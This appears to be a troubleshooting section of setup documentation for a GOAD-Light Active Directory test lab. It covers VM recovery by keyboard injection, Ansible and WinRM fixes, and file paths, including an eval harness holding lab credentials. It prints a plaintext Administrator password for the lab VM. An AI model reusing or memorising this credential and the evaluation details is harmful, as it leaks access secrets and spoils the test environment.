ad-trusts.ymldoes nothing for GOAD-Light. The[trust]group in the inventory is empty. Parent-child trust is established byad-child_domain.yml.
DC02 DCPROMO fails silently (comes back as WORKGROUP after reboot)¶
Stale forest metadata from a previous DC02 exists on DC01. Symptom: ansible ad-child_domain.yml reports ok=9 changed=6 failed=0 but DC02 reboots into WORKGROUP with NTDS stopped.
Check dcpromo.log on DC02:
Fix: clean the forest metadata before re-running promotion. See Step 0 of the DC02 Rebuild procedure above.
DC02 stuck in WinRE "Choose an option" recovery loop¶
Windows triggers automatic recovery mode (WinRE) after 2–3 consecutive unclean shutdowns. Symptom: screenshotpng shows blue header bar with horizontal scan lines; all ports (445, 3389, 5985) closed indefinitely.
Recovery via keyboard injection (VirtualBox headless):
# Navigate to Troubleshoot (Tab) → Advanced Options (Enter) → Command Prompt (Tab → Enter)
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 0f 8f # Tab
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c # Enter (Troubleshoot)
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c # Enter (Advanced Options)
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 0f 8f # Tab (to Command Prompt)
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c # Enter
# At the account selection screen, Tab to Administrator, Enter, type password
VBoxManage controlvm "GOAD-Light-DC02" keyboardputstring "NgtI75cKV+Pu"
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c # Enter
# At X:\windows\system32> prompt, disable recovery and boot policy
VBoxManage controlvm "GOAD-Light-DC02" keyboardputstring "bcdedit /set {default} recoveryenabled no"
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c
VBoxManage controlvm "GOAD-Light-DC02" keyboardputstring "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c
VBoxManage controlvm "GOAD-Light-DC02" keyboardputstring "exit"
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c
# Back at "Choose an option" with Continue highlighted — press Enter once
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c
Take a screenshot to verify state: VBoxManage controlvm "GOAD-Light-DC02" screenshotpng /tmp/dc02.png
If bcdedit doesn't fix it (VM still unresponsive after 15 min): do a full rebuild. The Windows installation has accumulated too much damage from repeated forced reboots. See the Rebuild DC02 procedure above — the vagrant destroy + vagrant up path is faster than continued recovery attempts.
Note: mousepointerabs is not supported in VirtualBox 7.2.8 headless. All navigation must use keyboard scancodes. Tab=0f 8f, Enter=1c 9c.
DC02 reports "not created" in vagrant but VM exists in VirtualBox¶
State divergence — VM was started outside vagrant. Fix: power off + delete + vagrant up (see DC02 Rebuild procedure above). Never start GOAD VMs via VBoxManage startvm directly.
WinRM HTTPS timeout (port 5986) during ansible¶
Ansible defaults to HTTPS. Override with: -e "ansible_port=5985 ansible_winrm_transport=ntlm"
Vagrant lock error ("another process is already executing an action")¶
ansible-runner not found¶
pip install ansible-runner --break-system-packages
# Then use ~/.goad/.venv/bin/python3, not system python3
Key File Paths¶
| Path | Purpose |
|---|---|
testenv/GOAD/ |
GOAD tool root |
testenv/GOAD/ad/GOAD-Light/data/config.json |
Authoritative user/group/password/ACL/SPN definitions |
testenv/GOAD/ad/GOAD-Light/data/inventory |
Ansible inventory (WinRM creds, host groups) |
testenv/GOAD/workspace/1acadc-goad-light-virtualbox/inventory |
Host IP assignments |
testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider/ |
Vagrantfile location |
testenv/GOAD/ansible/ |
All ansible playbooks and roles |
testenv/GOAD/playbooks.yml |
Playbook run order per lab type |
~/.goad/.venv/ |
GOAD tool Python venv (created by goad.sh) |
testenv/eval_harness.py:267 |
GOAD IP/credential constants used by eval |